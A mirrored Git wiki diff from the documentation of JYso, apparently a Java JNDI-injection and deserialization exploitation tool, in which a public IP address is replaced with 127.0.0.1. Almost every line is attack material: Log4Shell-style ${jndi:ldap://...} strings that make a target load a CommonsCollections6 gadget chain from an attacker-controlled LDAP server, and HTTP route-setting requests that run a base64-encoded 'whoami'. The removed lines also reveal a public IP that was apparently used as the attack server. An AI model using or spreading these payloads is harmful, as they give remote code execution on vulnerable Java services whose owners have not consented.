mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-23 23:31:52 +08:00
Updated JYso‐CN (markdown)
+3
-3
@@ -37,7 +37,7 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456"
|
||||
${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollections6/sethttp}
|
||||
```
|
||||
```shell
|
||||
http://111.229.10.212:3456/setPathAlias?a=whoami
|
||||
http://127.0.0.1:3456/setPathAlias?a=whoami
|
||||
```
|
||||
|
||||

|
||||
@@ -122,10 +122,10 @@ public class Main {
|
||||
|
||||
+ 对于路由完全不可控的情况下,从http处获取
|
||||
```shell
|
||||
${jndi:ldap://111.229.10.212:1389/}
|
||||
${jndi:ldap://127.0.0.1:1389/}
|
||||
```
|
||||
```shell
|
||||
http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p
|
||||
http://127.0.0.1:3456/setRoute?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p
|
||||
```
|
||||
|
||||

|
||||
|
||||
Reference in New Issue
Block a user